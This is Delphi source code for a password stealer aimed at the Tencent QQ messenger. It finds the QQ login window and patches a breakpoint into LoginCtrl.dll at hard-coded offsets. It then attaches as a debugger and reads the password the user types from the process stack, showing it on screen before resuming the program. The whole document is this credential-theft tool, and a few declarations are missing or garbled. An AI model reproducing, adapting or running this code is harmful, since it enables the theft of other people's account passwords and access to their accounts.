function HexToInt(HexStr: string): Int64; var RetVar: Int64; i: byte; begin HexStr := UpperCase(HexStr); if HexStr[length(HexStr)] = 'H' then Delete(HexStr, length(HexStr), 1); RetVar := 0; for i := 1 to length(HexStr) do begin RetVar := RetVar shl 4; if HexStr[i] in ['0'..'9'] then RetVar := RetVar + (byte(HexStr[i]) - 48) else if HexStr[i] in ['A'..'F'] then RetVar := RetVar + (byte(HexStr[i]) - 55) else begin Retvar := 0; break; end; end; Result := RetVar; end;
function GetMem(nOK :THANDLE;Addr:DWORD;len:integer=0):string; const FindCount=100; var buf1:array[0..FindCount] of pchar ; OK :BOOL; nSize: DWORD; lpNumberOfBytesRead:cardinal; res,tmp:string; s:array[0..FindCount] of string; i:integer; begin if len<>0 then begin nSize:=len ; buf1[0]:=AllocMem(nSize); OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead); if(OK or (nSize<>lpNumberOfBytesRead)) then begin s[0]:=''; for i :=0 to nSize-1 do begin s[0] := s[0] + format('%.2X',[ord(buf1[0][i])]); end; end; FreeMem(buf1[0], nSize); tmp:=s[0]; i:=1; res:=''; while i<length(tmp) do begin res:=res+chr(HexToInt(copy(tmp,i,2))); inc(i,2); end; result:=res; exit; end; end;
procedure NewProcess; var I: Integer; Count: DWORD; ModHandles: array[0..$3FFF - 1] of DWORD; ModInf TModuleInfo; ModName: array[0..MAX_PATH] of char; Num : Cardinal; Rc,ok :Boolean; DebugD: DEBUG_EVENT; Context: _CONTEXT; base: Pointer; ProcHand : THandle; ThreadHandle :THandle; EAX : string; begin ProcHand := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID); if ProcHand <> 0 then try EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count); for I :=0 to (Count div SizeOf(DWORD)) - 1 do if (GetModuleFileNameEx(ProcHand,ModHandles[i],ModName,SizeOf(ModName)) > 0) and GetModuleInformation(ProcHand, ModHandles[i],@ModInfo,SizeOf(ModInfo)) and (RightStr(UpperCase(ModName),13)= 'LOGINCTRL.DLL') then begin if DWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $22C3A then base := Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90); if DWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $2043A then base := Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3); ok := WriteProcessMemory(ProcHand,base,@Code,1,Num); if not ok then Exit; if not DebugActiveProcess(ProcessID) then Exit; Rc := True; while WaitForDebugEvent(DebugD, INFINITE) do begin case DebugD.dwDebugEventCode of EXIT_PROCESS_DEBUG_EVENT: begin Form1.Label1.Caption := '被调试进程中止'; Break; end; CREATE_PROCESS_DEBUG_EVENT: begin ThreadHandle := DebugD.CreateProcessInfo.hThread; Form1.Label1.Caption := '请输入密码点登录'; end; EXCEPTION_DEBUG_EVENT: begin case DebugD.Exception.ExceptionRecord.ExceptionCode of EXCEPTION_BREAKPOINT: begin if base = DebugD.Exception.ExceptionRecord.ExceptionAddress then begin Context.ContextFlags := CONTEXT_FULL; GetThreadContext(ThreadHandle, Context); EAX := Trim(GetMem(ProcHand,Context.Esp + $24,20)); Form1.Label1.Caption := 'QQ密码:' + EAX ; Rc := WriteProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num); Context.Eip := dword(base); SetThreadContext(ThreadHandle, Context); end; end; end; end; end; if Rc then ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId,DBG_CONTINUE) else ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_EXCEPTION_NOT_HANDLED); end; CloseHandle(ThreadHandle); end; finally CloseHandle(ProcHand); end; end;
procedure TForm1.Button1Click(Sender: TObject); var h: HWND; ThreadID: THandle; begin h := FindWindow(nil,'QQ用户登录'); if h = 0 then begin Form1.Label1.Caption := '没有找到QQ登录框' ; Exit; end; GetWindowThreadProcessId(h,ProcessID) ; CreateThread(nil, 0, @NewProcess, nil, 0, ThreadID) ; end;
